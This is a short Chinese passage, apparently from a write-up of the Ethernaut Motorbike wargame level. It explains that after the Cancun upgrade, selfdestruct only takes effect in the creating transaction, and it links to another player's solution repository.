按理说上面这个合约运行一遍就能过了。但是看到了issue。新版本的evm (cancun)中,selfdestruct只能在创建合约的交易中被完成。所以只能手动完成合约的创建和删除,才能通过这道题目。直接去看这位小哥的代码吧。https://github.com/Ching367436/ethernaut-motorbike-solution-after-decun-upgrade/tree/main。